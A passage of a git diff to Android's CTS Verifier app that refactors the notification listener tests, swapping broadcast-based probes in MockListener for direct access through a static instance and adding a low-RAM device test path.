-                            }
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            if (MockListener.getInstance() != null && MockListener.getInstance().isConnected) {
+                status = PASS;
+                next();
+            } else {
+                logFail();
+                status = RETEST;
+                delay();
+            }
+        }
+    }
+
+    protected class CannotBeEnabledTest extends InteractiveTestCase {
+        @Override
+        protected View inflate(ViewGroup parent) {
+            return createNlsSettingsItem(parent, R.string.nls_cannot_enable_service);
         }
 
         @Override
-        void tearDown() {
-            MockListener.resetListenerData(mContext);
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            mNm.cancelAll();
+            Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+            if (settings.resolveActivity(mPackageManager) == null) {
+                logFail("no settings activity");
+                status = FAIL;
+            } else {
+                String listeners = Secure.getString(getContentResolver(),
+                        ENABLED_NOTIFICATION_LISTENERS);
+                if (listeners != null && listeners.contains(LISTENER_PATH)) {
+                    status = FAIL;
+                } else {
+                    status = PASS;
+                }
+                next();
+            }
+        }
+
+        protected void tearDown() {
+            // wait for the service to start
             delay();
         }
     }
+
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index d311faa..8b5acf8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -15,15 +15,8 @@
  */
 package com.android.cts.verifier.notifications;
 
-import android.app.Activity;
 import android.app.Notification;
-import android.content.BroadcastReceiver;
 import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcelable;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
 import android.util.ArrayMap;
@@ -33,8 +26,8 @@
 import org.json.JSONObject;
 
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 
 public class MockListener extends NotificationListenerService {
@@ -43,31 +36,6 @@
     public static final ComponentName COMPONENT_NAME =
             new ComponentName("com.android.cts.verifier", MockListener.class.getName());
 
-    static final String SERVICE_BASE = "android.service.notification.cts.";
-    static final String SERVICE_CHECK = SERVICE_BASE + "SERVICE_CHECK";
-    static final String SERVICE_POSTED = SERVICE_BASE + "SERVICE_POSTED";
-    static final String SERVICE_PAYLOADS = SERVICE_BASE + "SERVICE_PAYLOADS";
-    static final String SERVICE_REMOVED = SERVICE_BASE + "SERVICE_REMOVED";
-    static final String SERVICE_REMOVED_REASON = SERVICE_BASE + "SERVICE_REMOVED";
-    static final String SERVICE_RESET = SERVICE_BASE + "SERVICE_RESET";
-    static final String SERVICE_CLEAR_ONE = SERVICE_BASE + "SERVICE_CLEAR_ONE";
-    static final String SERVICE_CLEAR_ALL = SERVICE_BASE + "SERVICE_CLEAR_ALL";
-    static final String SERVICE_SNOOZE = SERVICE_BASE + "SERVICE_SNOOZE";
-    static final String SERVICE_HINTS = SERVICE_BASE + "SERVICE_HINTS";
-    static final String SERVICE_PROBE_HINTS = SERVICE_BASE + "SERVICE_PROBE_HINTS";
-    static final String SERVICE_ORDER = SERVICE_BASE + "SERVICE_ORDER";
-    static final String SERVICE_DND = SERVICE_BASE + "SERVICE_DND";
-    static final String SERVICE_SNOOZE_DURATION = SERVICE_BASE + "SERVICE_SNOOZE_DURATION";
-    static final String SERVICE_GET_SNOOZED = SERVICE_BASE + "GET_SNOOZED";
-
-    static final String EXTRA_PAYLOAD = "PAYLOAD";
-    static final String EXTRA_POSTED_NOTIFICATIONS = "NOTIFICATION_PAYLOAD";
-    static final String EXTRA_INT = "INT";
-    static final String EXTRA_TAG = "TAG";
-    static final String EXTRA_CODE = "CODE";
-    static final String EXTRA_LONG = "LONG";
-
-    static final int RESULT_NO_SERVER = Activity.RESULT_FIRST_USER + 1;
 
     public static final String JSON_FLAGS = "flag";
     public static final String JSON_ICON = "icon";
@@ -79,19 +47,19 @@
     public static final String JSON_AMBIENT = "ambient";
     public static final String JSON_MATCHES_ZEN_FILTER = "matches_zen_filter";
     public static final String JSON_REASON = "reason";
-    public static final String JSON_HINTS = "hints";
 
-    private ArrayList<String> mPosted = new ArrayList<String>();
-    private ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
-    private ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
-    private ArrayList<String> mRemoved = new ArrayList<String>();
-    private ArrayMap<String, JSONObject> mRemovedReason = new ArrayMap<>();
-    private ArrayList<String> mSnoozed = new ArrayList<>();
-    private ArrayList<String> mOrder = new ArrayList<>();
-    private Set<String> mTestPackages = new HashSet<>();
-    private BroadcastReceiver mReceiver;
-    private int mDND = -1;
-    private ArrayList<Notification> mPostedNotifications = new ArrayList<Notification>();
+    ArrayList<String> mPosted = new ArrayList<String>();
+    ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
+    ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
+    ArrayList<String> mRemoved = new ArrayList<String>();
+    ArrayMap<String, JSONObject> mRemovedReason = new ArrayMap<>();
+    ArrayList<String> mSnoozed = new ArrayList<>();
+    ArrayList<String> mOrder = new ArrayList<>();
+    Set<String> mTestPackages = new HashSet<>();
+    int mDND = -1;
+    ArrayList<Notification> mPostedNotifications = new ArrayList<Notification>();
+    private static MockListener sNotificationListenerInstance = null;
+    boolean isConnected;
 
     @Override
     public void onCreate() {
@@ -100,119 +68,19 @@
 
         mTestPackages.add("com.android.cts.verifier");
         mTestPackages.add("com.android.cts.robot");
+    }
 
-        mPosted = new ArrayList<String>();
-        mRemoved = new ArrayList<String>();
-        mSnoozed = new ArrayList<String>();
-        mPostedNotifications = new ArrayList<Notification>();
+    protected Collection<JSONObject> getPosted() {
+        return mNotifications.values();
+    }
 
-        mReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                final String action = intent.getAction();
-                final Bundle bundle = new Bundle();
-                Log.d(TAG, action);
-                if (SERVICE_CHECK.equals(action)) {
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_POSTED.equals(action)) {
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, mPosted);
-                    bundle.putParcelableArrayList(EXTRA_POSTED_NOTIFICATIONS, mPostedNotifications);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_DND.equals(action)) {
-                    bundle.putInt(EXTRA_INT, mDND);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_ORDER.equals(action)) {
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, mOrder);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_PAYLOADS.equals(action)) {
-                    ArrayList<String> payloadData = new ArrayList<>(mNotifications.size());
-                    for (JSONObject payload: mNotifications.values()) {
-                        payloadData.add(payload.toString());
-                    }
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, payloadData);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_REMOVED.equals(action)) {
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, mRemoved);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_REMOVED_REASON.equals(action)) {
-                    ArrayList<String> payloadData = new ArrayList<>(mRemovedReason.size());
-                    for (JSONObject payload: mRemovedReason.values()) {
-                        payloadData.add(payload.toString());
-                    }
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, payloadData);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_CLEAR_ONE.equals(action)) {
-                    String tag = intent.getStringExtra(EXTRA_TAG);
-                    String key = mNotificationKeys.get(tag);
-                    if (key != null) {
-                        MockListener.this.cancelNotification(key);
-                    } else {
-                        Log.w(TAG, "Notification does not exist: " + tag);
-                    }
-                } else if (SERVICE_CLEAR_ALL.equals(action)) {
-                    MockListener.this.cancelAllNotifications();
-                } else if (SERVICE_RESET.equals(action)) {
-                    resetData();
-                } else if (SERVICE_SNOOZE.equals(action)) {
-                    MockListener.this.requestUnbind();
-                } else if (SERVICE_HINTS.equals(action)) {
-                    MockListener.this.requestListenerHints(intent.getIntExtra(EXTRA_CODE, 0));
-                } else if (SERVICE_PROBE_HINTS.equals(action)) {
-                    bundle.putInt(EXTRA_INT, MockListener.this.getCurrentListenerHints());
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else if (SERVICE_SNOOZE_DURATION.equals(action)) {
-                    String tag = intent.getStringExtra(EXTRA_TAG);
-                    String key = mNotificationKeys.get(tag);
-                    if (key != null) {
-                        MockListener.this.snoozeNotification(key,
-                                intent.getLongExtra(EXTRA_LONG, (long) 0));
-                    }
-                } else if (SERVICE_GET_SNOOZED.equals(action)) {
-                    mSnoozed.clear();
-                    StatusBarNotification[] snoozed = MockListener.this.getSnoozedNotifications();
-                    for (StatusBarNotification sbn : snoozed) {
-                        mSnoozed.add(sbn.getTag());
-                    }
-                    bundle.putStringArrayList(EXTRA_PAYLOAD, mSnoozed);
-                    setResultExtras(bundle);
-                    setResultCode(Activity.RESULT_OK);
-                } else {
-                    Log.w(TAG, "unknown action");
-                    setResultCode(Activity.RESULT_CANCELED);
-                }
-            }
-        };
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(SERVICE_CHECK);
-        filter.addAction(SERVICE_DND);
-        filter.addAction(SERVICE_POSTED);
-        filter.addAction(SERVICE_ORDER);
-        filter.addAction(SERVICE_PAYLOADS);
-        filter.addAction(SERVICE_REMOVED);
-        filter.addAction(SERVICE_REMOVED_REASON);
-        filter.addAction(SERVICE_CLEAR_ONE);
-        filter.addAction(SERVICE_CLEAR_ALL);
-        filter.addAction(SERVICE_RESET);
-        filter.addAction(SERVICE_SNOOZE);
-        filter.addAction(SERVICE_HINTS);
-        filter.addAction(SERVICE_PROBE_HINTS);
-        filter.addAction(SERVICE_SNOOZE_DURATION);
-        filter.addAction(SERVICE_GET_SNOOZED);
-        registerReceiver(mReceiver, filter);
+    protected String getKeyForTag(String tag) {
+        return mNotificationKeys.get(tag);
     }
 
     @Override
     public void onDestroy() {
         super.onDestroy();
-        unregisterReceiver(mReceiver);
-        mReceiver = null;
         Log.d(TAG, "destroyed");
     }
 
@@ -221,6 +89,13 @@
         super.onListenerConnected();
         mDND = getCurrentInterruptionFilter();
         Log.d(TAG, "initial value of CurrentInterruptionFilter is " + mDND);
+        sNotificationListenerInstance = this;
+        isConnected = true;
+    }
+
+    @Override
+    public void onListenerDisconnected() {
+        isConnected = false;
     }
 
     @Override
@@ -230,6 +105,10 @@
         Log.d(TAG, "value of CurrentInterruptionFilter changed to " + mDND);
     }
 
+    public static MockListener getInstance() {
+        return sNotificationListenerInstance;
+    }
+
     public void resetData() {
         mPosted.clear();
         mNotifications.clear();
@@ -296,7 +175,7 @@
     @Override
     public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
             int reason) {
-        Log.d(TAG, "removed: " + sbn.getTag());
+        Log.d(TAG, "removed: " + sbn.getTag() + " for reason " + reason);
         mRemoved.add(sbn.getTag());
         JSONObject removed = new JSONObject();
         try {
@@ -311,155 +190,4 @@
         onNotificationRankingUpdate(rankingMap);
     }
 
-    public static void resetListenerData(Context context) {
-        sendCommand(context, SERVICE_RESET, null, 0);
-    }
-
-    public static void probeListenerStatus(Context context, StatusCatcher catcher) {
-        requestStatus(context, SERVICE_CHECK, catcher);
-    }
-
-    public static void probeFilter(Context context, IntegerResultCatcher catcher) {
-        requestIntegerResult(context, SERVICE_DND, catcher);
-    }
-
-    public static void probeListenerPosted(Context context, StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_POSTED, catcher);
-    }
-
-    public static void probeListenerPosted(Context context, NotificationResultCatcher catcher) {
-        requestNotificationResult(context, SERVICE_POSTED, catcher);
-    }
-
-    public static void probeListenerSnoozed(Context context, StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_GET_SNOOZED, catcher);
-    }
-
-    public static void probeListenerOrder(Context context, StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_ORDER, catcher);
-    }
-
-    public static void probeListenerPayloads(Context context, StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_PAYLOADS, catcher);
-    }
-
-    public static void probeListenerRemoved(Context context, StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_REMOVED, catcher);
-    }
-
-    public static void probeListenerRemovedWithReason(Context context,
-            StringListResultCatcher catcher) {
-        requestStringListResult(context, SERVICE_REMOVED_REASON, catcher);
-    }
-
-    public static void probeListenerHints(Context context, IntegerResultCatcher catcher) {
-        requestIntegerResult(context, SERVICE_PROBE_HINTS, catcher);
-    }
-
-    public static void setHints(Context context, int hints) {
-        Intent broadcast = new Intent(SERVICE_HINTS);
-        broadcast.putExtra(EXTRA_CODE, hints);
-        context.sendBroadcast(broadcast);
-    }
-
-    public static void snooze(Context context) {
-        sendCommand(context, SERVICE_SNOOZE, null, 0);
-    }
-
-    public static void clearOne(Context context, String tag, int code) {
-        sendCommand(context, SERVICE_CLEAR_ONE, tag, code);
-    }
-
-    public static void snoozeOneFor(Context context, String tag, long duration) {
-        Intent broadcast = new Intent(SERVICE_SNOOZE_DURATION);
-        if (tag != null) {
-            broadcast.putExtra(EXTRA_TAG, tag);
-            broadcast.putExtra(EXTRA_LONG, duration);
-        }
-        context.sendBroadcast(broadcast);
-    }
-
-    public static void clearAll(Context context) {
-        sendCommand(context, SERVICE_CLEAR_ALL, null, 0);
-    }
-
-    private static void sendCommand(Context context, String action, String tag, int code) {
-        Intent broadcast = new Intent(action);
-        if (tag != null) {
-            broadcast.putExtra(EXTRA_TAG, tag);
-            broadcast.putExtra(EXTRA_CODE, code);
-        }
-        context.sendBroadcast(broadcast);
-    }
-
-    public abstract static class StatusCatcher extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            accept(Integer.valueOf(getResultCode()));
-        }
-
-        abstract public void accept(int result);
-    }
-
-    private static void requestStatus(Context context, String action,
-            StatusCatcher catcher) {
-        Intent broadcast = new Intent(action);
-        context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
-    }
-
-    public abstract static class IntegerResultCatcher extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            accept(getResultExtras(true).getInt(EXTRA_INT, -1));
-        }
-
-        abstract public void accept(int result);
-    }
-
-    private static void requestIntegerResult(Context context, String action,
-            IntegerResultCatcher catcher) {
-        Intent broadcast = new Intent(action);
-        context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
-    }
-
-    public abstract static class StringListResultCatcher extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            accept(getResultExtras(true).getStringArrayList(EXTRA_PAYLOAD));
-        }
-
-        abstract public void accept(List<String> result);
-    }
-
-    public abstract static class NotificationResultCatcher extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            ArrayList<Parcelable> parcels =
-                    getResultExtras(true).getParcelableArrayList(EXTRA_POSTED_NOTIFICATIONS);
-            if (parcels == null) {
-                parcels = new ArrayList<Parcelable>();
-            }
-            List<Notification> notifications = new ArrayList<Notification>(parcels.size());
-            for (Parcelable parcel : parcels) {
-                if (parcel instanceof Notification) {
-                    notifications.add((Notification) parcel);
-                }
-            }
-            accept(notifications);
-        }
-
-        abstract public void accept(List<Notification> result);
-    }
-
-    private static void requestStringListResult(Context context, String action,
-            StringListResultCatcher catcher) {
-        Intent broadcast = new Intent(action);
-        context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
-    }
-
-    private static void requestNotificationResult(Context context, String action,
-            NotificationResultCatcher catcher) {
-        Intent broadcast = new Intent(action);
-        context.sendOrderedBroadcast(broadcast, null, catcher, null, RESULT_NO_SERVER, null, null);
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
old mode 100644
new mode 100755
index fba593a..269f4fd
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -17,11 +17,14 @@
 package com.android.cts.verifier.notifications;
 
 import android.annotation.SuppressLint;
-import android.app.Activity;
+import android.app.ActivityManager;
 import android.app.Notification;
 import android.app.NotificationChannel;
 import android.app.NotificationManager;
+import android.content.Context;
+import android.os.Bundle;
 import android.provider.Settings.Secure;
+import android.service.notification.StatusBarNotification;
 import android.support.v4.app.NotificationCompat;
 import android.util.Log;
 import android.view.View;
@@ -40,6 +43,8 @@
 
 import static com.android.cts.verifier.notifications.MockListener.*;
 
+import static junit.framework.Assert.assertNotNull;
+
 public class NotificationListenerVerifierActivity extends InteractiveVerifierActivity
         implements Runnable {
     private static final String TAG = "NoListenerVerifier";
@@ -62,12 +67,12 @@
     private int mFlag3;
 
     @Override
-    int getTitleResource() {
+    protected int getTitleResource() {
         return R.string.nls_test;
     }
 
     @Override
-    int getInstructionsResource() {
+    protected int getInstructionsResource() {
         return R.string.nls_info;
     }
 
@@ -76,24 +81,31 @@
     @Override
     protected List<InteractiveTestCase> createTestItems() {
         List<InteractiveTestCase> tests = new ArrayList<>(17);
-        tests.add(new IsEnabledTest());
-        tests.add(new ServiceStartedTest());
-        tests.add(new NotificationRecievedTest());
-        tests.add(new DataIntactTest());
-        tests.add(new DismissOneTest());
-        tests.add(new DismissOneWithReasonTest());
-        tests.add(new DismissAllTest());
-        tests.add(new SnoozeNotificationForTimeTest());
-        tests.add(new SnoozeNotificationForTimeCancelTest());
-        tests.add(new GetSnoozedNotificationTest());
-        tests.add(new EnableHintsTest());
-        tests.add(new SnoozeTest());
-        tests.add(new UnsnoozeTest());
-        tests.add(new MessageBundleTest());
-        tests.add(new EnableHintsTest());
-        tests.add(new IsDisabledTest());
-        tests.add(new ServiceStoppedTest());
-        tests.add(new NotificationNotReceivedTest());
+        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+        if (am.isLowRamDevice()) {
+            tests.add(new CannotBeEnabledTest());
+            tests.add(new ServiceStoppedTest());
+            tests.add(new NotificationNotReceivedTest());
+        } else {
+            tests.add(new IsEnabledTest());
+            tests.add(new ServiceStartedTest());
+            tests.add(new NotificationReceivedTest());
+            tests.add(new DataIntactTest());
+            tests.add(new DismissOneTest());
+            tests.add(new DismissOneWithReasonTest());
+            tests.add(new DismissAllTest());
+            tests.add(new SnoozeNotificationForTimeTest());
+            tests.add(new SnoozeNotificationForTimeCancelTest());
+            tests.add(new GetSnoozedNotificationTest());
+            tests.add(new EnableHintsTest());
+            tests.add(new RequestUnbindTest());
+            tests.add(new RequestBindTest());
+            tests.add(new MessageBundleTest());
+            tests.add(new EnableHintsTest());
+            tests.add(new IsDisabledTest());
+            tests.add(new ServiceStoppedTest());
+            tests.add(new NotificationNotReceivedTest());
+        }
         return tests;
     }
 
@@ -110,10 +122,11 @@
     @SuppressLint("NewApi")
     private void sendNotifications() {
         mTag1 = UUID.randomUUID().toString();
+        Log.d(TAG, "Sending " + mTag1);
         mTag2 = UUID.randomUUID().toString();
+        Log.d(TAG, "Sending " + mTag2);
         mTag3 = UUID.randomUUID().toString();
-
-        mNm.cancelAll();
+        Log.d(TAG, "Sending " + mTag3);
 
         mWhen1 = System.currentTimeMillis() + 1;
         mWhen2 = System.currentTimeMillis() + 2;
@@ -131,8 +144,7 @@
 
         Notification n1 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 1")
-                .setContentText(mTag1.toString())
-                .setPriority(Notification.PRIORITY_LOW)
+                .setContentText(mTag1)
                 .setSmallIcon(mIcon1)
                 .setWhen(mWhen1)
                 .setDeleteIntent(makeIntent(1, mTag1))
@@ -143,8 +155,7 @@
 
         Notification n2 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 2")
-                .setContentText(mTag2.toString())
-                .setPriority(Notification.PRIORITY_HIGH)
+                .setContentText(mTag2)
                 .setSmallIcon(mIcon2)
                 .setWhen(mWhen2)
                 .setDeleteIntent(makeIntent(2, mTag2))
@@ -155,8 +166,7 @@
 
         Notification n3 = new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                 .setContentTitle("ClearTest 3")
-                .setContentText(mTag3.toString())
-                .setPriority(Notification.PRIORITY_LOW)
+                .setContentText(mTag3)
                 .setSmallIcon(mIcon3)
                 .setWhen(mWhen3)
                 .setDeleteIntent(makeIntent(3, mTag3))
@@ -169,299 +179,262 @@
 
     // Tests
 
-    private class NotificationRecievedTest extends InteractiveTestCase {
+    private class NotificationReceivedTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_note_received);
 
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            // wait for notifications to move through the system
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
             deleteChannel();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPosted(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            if (result != null && result.size() > 0 && result.contains(mTag1)) {
-                                status = PASS;
-                            } else {
-                                logFail();
-                                status = FAIL;
-                            }
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+        protected void test() {
+            List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
+            if (result.size() > 0 && result.contains(mTag1)) {
+                status = PASS;
+            } else {
+                logFail();
+                status = FAIL;
+            }
         }
     }
 
     private class DataIntactTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_payload_intact);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            delay();
         }
 
         @Override
-        void test() {
-            MockListener.probeListenerPayloads(mContext,
-                    new MockListener.StringListResultCatcher() {
-                        @Override
-                        public void accept(List<String> result) {
-                            Set<String> found = new HashSet<String>();
-                            if (result == null || result.size() == 0) {
-                                status = FAIL;
-                                return;
-                            }
-                            boolean pass = true;
-                            for (String payloadData : result) {
-                                try {
-                                    JSONObject payload = new JSONObject(payloadData);
-                                    pass &= checkEquals(mPackageString,
-                                            payload.getString(JSON_PACKAGE),
-                                            "data integrity test: notification package (%s, %s)");
-                                    String tag = payload.getString(JSON_TAG);
-                                    if (mTag1.equals(tag)) {
-                                        found.add(mTag1);
-                                        pass &= checkEquals(mIcon1, payload.getInt(JSON_ICON),
-                                                "data integrity test: notification icon (%d, %d)");
-                                        pass &= checkFlagSet(mFlag1, payload.getInt(JSON_FLAGS),
-                                                "data integrity test: notification flags (%d, %d)");
-                                        pass &= checkEquals(mId1, payload.getInt(JSON_ID),
-                                                "data integrity test: notification ID (%d, %d)");
-                                        pass &= checkEquals(mWhen1, payload.getLong(JSON_WHEN),
-                                                "data integrity test: notification when (%d, %d)");
-                                    } else if (mTag2.equals(tag)) {
-                                        found.add(mTag2);
-                                        pass &= checkEquals(mIcon2, payload.getInt(JSON_ICON),
-                                                "data integrity test: notification icon (%d, %d)");
-                                        pass &= checkFlagSet(mFlag2, payload.getInt(JSON_FLAGS),
-                                                "data integrity test: notification flags (%d, %d)");
-                                        pass &= checkEquals(mId2, payload.getInt(JSON_ID),
-                                                "data integrity test: notification ID (%d, %d)");
-                                        pass &= checkEquals(mWhen2, payload.getLong(JSON_WHEN),
-                                                "data integrity test: notification when (%d, %d)");
-                                    } else if (mTag3.equals(tag)) {
-                                        found.add(mTag3);
-                                        pass &= checkEquals(mIcon3, payload.getInt(JSON_ICON),
-                                                "data integrity test: notification icon (%d, %d)");
-                                        pass &= checkFlagSet(mFlag3, payload.getInt(JSON_FLAGS),
-                                                "data integrity test: notification flags (%d, %d)");
-                                        pass &= checkEquals(mId3, payload.getInt(JSON_ID),
-                                                "data integrity test: notification ID (%d, %d)");
-                                        pass &= checkEquals(mWhen3, payload.getLong(JSON_WHEN),
-                                                "data integrity test: notification when (%d, %d)");
-                                    } else {
-                                        pass = false;
-                                        logFail("unexpected notification tag: " + tag);
-                                    }
-                                } catch (JSONException e) {
-                                    pass = false;
-                                    Log.e(TAG, "failed to unpack data from mocklistener", e);
-                                }
-                            }
+        protected void test() {
+            List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
 
-                            pass &= found.size() == 3;
-                            status = pass ? PASS : FAIL;
-                            next();
-                        }
-                    });
-            delay();  // in case the catcher never returns
+            Set<String> found = new HashSet<String>();
+            if (result.size() == 0) {
+                status = FAIL;
+                return;
+            }
+            boolean pass = true;
+            for (JSONObject payload : result) {
+                try {
+                    pass &= checkEquals(mPackageString,
+                            payload.getString(JSON_PACKAGE),
+                            "data integrity test: notification package (%s, %s)");
+                    String tag = payload.getString(JSON_TAG);
+                    if (mTag1.equals(tag)) {
+                        found.add(mTag1);
+                        pass &= checkEquals(mIcon1, payload.getInt(JSON_ICON),
+                                "data integrity test: notification icon (%d, %d)");
+                        pass &= checkFlagSet(mFlag1, payload.getInt(JSON_FLAGS),
+                                "data integrity test: notification flags (%d, %d)");
+                        pass &= checkEquals(mId1, payload.getInt(JSON_ID),
+                                "data integrity test: notification ID (%d, %d)");
+                        pass &= checkEquals(mWhen1, payload.getLong(JSON_WHEN),
+                                "data integrity test: notification when (%d, %d)");
+                    } else if (mTag2.equals(tag)) {
+                        found.add(mTag2);
+                        pass &= checkEquals(mIcon2, payload.getInt(JSON_ICON),
+                                "data integrity test: notification icon (%d, %d)");
+                        pass &= checkFlagSet(mFlag2, payload.getInt(JSON_FLAGS),
+                                "data integrity test: notification flags (%d, %d)");
+                        pass &= checkEquals(mId2, payload.getInt(JSON_ID),
+                                "data integrity test: notification ID (%d, %d)");
+                        pass &= checkEquals(mWhen2, payload.getLong(JSON_WHEN),
+                                "data integrity test: notification when (%d, %d)");
+                    } else if (mTag3.equals(tag)) {
+                        found.add(mTag3);
+                        pass &= checkEquals(mIcon3, payload.getInt(JSON_ICON),
+                                "data integrity test: notification icon (%d, %d)");
+                        pass &= checkFlagSet(mFlag3, payload.getInt(JSON_FLAGS),
+                                "data integrity test: notification flags (%d, %d)");
+                        pass &= checkEquals(mId3, payload.getInt(JSON_ID),
+                                "data integrity test: notification ID (%d, %d)");
+                        pass &= checkEquals(mWhen3, payload.getLong(JSON_WHEN),
+                                "data integrity test: notification when (%d, %d)");
+                    }
+                } catch (JSONException e) {
+                    pass = false;
+                    Log.e(TAG, "failed to unpack data from mocklistener", e);
+                }
+            }
+
+            pass &= found.size() >= 3;
+            status = pass ? PASS : FAIL;
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
+            deleteChannel();
         }
     }
 
     private class DismissOneTest extends InteractiveTestCase {
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_clear_one);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            delay();
         }
 
         @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
-                MockListener.clearOne(mContext, mTag1, mId1);
+                MockListener.getInstance().cancelNotification(
+                        MockListener.getInstance().getKeyForTag(mTag1));
                 status = RETEST;
             } else {
-                MockListener.probeListenerRemoved(mContext,
-                        new MockListener.StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result != null && result.size() != 0
-                                        && result.contains(mTag1)
-                                        && !result.contains(mTag2)
-                                        && !result.contains(mTag3)) {
-                                    status = PASS;
-                                } else {
-                                    logFail();
-                                    status = FAIL;
-                                }
-                                next();
-                            }
-                        });
+                List<String> result = new ArrayList<>(MockListener.getInstance().mRemoved);
+                if (result.size() != 0
+                        && result.contains(mTag1)
+                        && !result.contains(mTag2)
+                        && !result.contains(mTag3)) {
+                    status = PASS;
+                } else {
+                    logFail();
+                    status = FAIL;
+                }
             }
-            delay();
         }
 
         @Override
-        void tearDown() {
+        protected void tearDown() {
             mNm.cancelAll();
             deleteChannel();
-            MockListener.resetListenerData(mContext);
-            delay();
+            MockListener.getInstance().resetData();
         }
     }
 
     private class DismissOneWithReasonTest extends InteractiveTestCase {
+        int mRetries = 3;
+
         @Override
-        View inflate(ViewGroup parent) {
+        protected View inflate(ViewGroup parent) {
             return createAutoItem(parent, R.string.nls_clear_one_reason);
         }
 
         @Override
-        void setUp() {
+        protected void setUp() {
             createChannel();
             sendNotifications();
             status = READY;
-            delay();
         }
 
         @Override
-        void test() {
+        protected void test() {
             if (status == READY) {
-                MockListener.clearOne(mContext, mTag1, mId1);
+                MockListener.getInstance().cancelNotification(
+                        MockListener.getInstance().getKeyForTag(mTag1));
                 status = RETEST;
             } else {
-                MockListener.probeListenerRemovedWithReason(mContext,
-                        new StringListResultCatcher() {
-                            @Override
-                            public void accept(List<String> result) {
-                                if (result == null || result.size() == 0) {
-                                    status = FAIL;
-                                    return;
-                                }
-                                boolean pass = true;
